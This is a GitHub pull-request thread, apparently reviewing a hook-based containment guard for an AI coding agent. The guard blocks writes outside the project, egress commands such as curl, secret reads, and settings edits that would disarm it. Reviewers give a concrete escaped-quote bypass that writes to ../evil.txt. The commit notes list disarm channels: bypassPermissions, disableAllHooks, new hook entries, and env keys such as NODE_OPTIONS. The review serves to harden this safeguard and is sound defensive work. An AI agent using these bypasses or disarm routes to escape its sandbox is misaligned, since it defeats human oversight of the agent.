Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed closed — main() runs in a try/catch that exits 2 on any throw, guard() is fully synchronous so every sub-check error lands there, and readStdin/canonical no longer swallow real errors. Right posture.

log(`${SETTINGS_FILE} already has ${MARKETPLACE_NAME} registered`, 'info');
return { marketplaceConfigured: false };
const needsMarketplace = !settings.extraKnownMarketplaces[MARKETPLACE_NAME];
const needsPluginEnabled =

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Confirmed — the enable write is gated on the key being absent now, so an explicit false stays sticky across re-runs. The prompt + flags + README round it out well.

* redirections, `tee`, `dd of=`, and the destination of `cp`/`mv`. Best-effort
* — see the file header. Device sinks (`/dev/null`, …) are filtered out.
*/
function collectBashWriteTargets(command) {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The mask fixes the over-refusal I flagged, but it introduced an under-refusal in the same scan — an escaped \" desyncs the quote parity and masks a real >, so echo "a\"" > ../evil.txt passes (reproduced: plain echo x > ../evil.txt blocks, the escaped-quote variant does not). Left the trace and a one-line escape-aware fix inline on maskQuoted. Keeping this open until that's closed.

…s deny

Shell parse:
- Quote masking is escape-, ANSI-C ($'…')-, comment- and heredoc-aware, so an
  escaped quote, an apostrophe in a comment, or a `<<` that is really an
  arithmetic shift no longer desync the scan into masking a real redirect or
  over-blocking a quoted `>`.
- cp/mv/install destinations behind wrapper words, path qualification, grouping
  keywords, newline separators and -t; `>|` recognized; `~` expanded.
- Egress match normalizes each segment's command word, so `"curl" http://…` is
  caught while `grep -rn "curl" src/` is not.
- Write-scan regexes built via new RegExp in try/catch with a non-d fallback.

Settings deny → invariant:
- .claude/settings*.json move from a blanket deny to a disarm invariant over the
  merged settings.json + settings.local.json stack: a write is allowed unless it
  leaves containment un-armed — plugin disabled, marketplace unregistered or
  repointed, disableAllHooks, a bypassPermissions default, a newly registered
  hook command, or any new/changed `env` key (which reaches the guard's own node
  process: the escape hatch, CLAUDE_PROJECT_DIR, or NODE_OPTIONS; env keys are
  case-folded on Windows). Removing a hook or env key stays allowed (the hire
  rollback). Edits are simulated by index splice, not String.replace.
- .mcp.json, .git/hooks/ and .github/workflows/ unchanged; Bash writes to
  settings files stay a blanket deny.

Docs:
- Drop the claim that permissions.deny is inert under
  --dangerously-skip-permissions; the reason for a hook is expressiveness.
- Label the Bash branch a tripwire, not a guarantee; secret-read message no
  longer says `cat .env` is uncovered.

Guard unit tests 65 -> 92; 18 fail on the pre-fix guard.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
@oleksii-shevchuk
oleksii-shevchuk force-pushed the feat/awos-containment-plugin branch from d3778f5 to 795d091 Compare July 23, 2026 01:50
@oleksii-shevchuk

Copy link
Copy Markdown
Collaborator Author

Egress with quotes — fixed by normalizing only each segment's command word, so "curl" http://… is caught while grep -rn "curl" src/ is not.

d-flag — your mechanism is right, and engines wouldn't help: the plugin has no package.json and node comes from PATH. The three write-scan regexes are now built via new RegExp in a try/catch with a non-d fallback.

#153 — the asymmetry is worse than described: the install runs inside an npx subprocess the hook can't see, while the rollback is a tool-mediated Edit. The guard blocked the undo and allowed the do. Instead of a blanket deny, .claude/settings*.json is now a "containment stays armed" invariant over the merged settings.json + settings.local.json stack. It also closes finer channels a blanket deny never saw: defaultMode: bypassPermissions, adding a hook entry (removing one is allowed — that's the rollback), and any new/changed env key — because env reaches the guard's own node process (the hatch, CLAUDE_PROJECT_DIR, NODE_OPTIONS --require), with Windows env-key case-folding. A/B: on a758ed7 the rollback Edit → exit 2, now → exit 0; any disarm → exit 2.

I'm also correcting a wrong claim in the PR description: "permissions.deny is inert under --dangerously-skip-permissions" is false; deny and explicit ask rules apply in every mode. The reason for a hook is expressiveness: a deny rule can't carry an allowlist exception.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants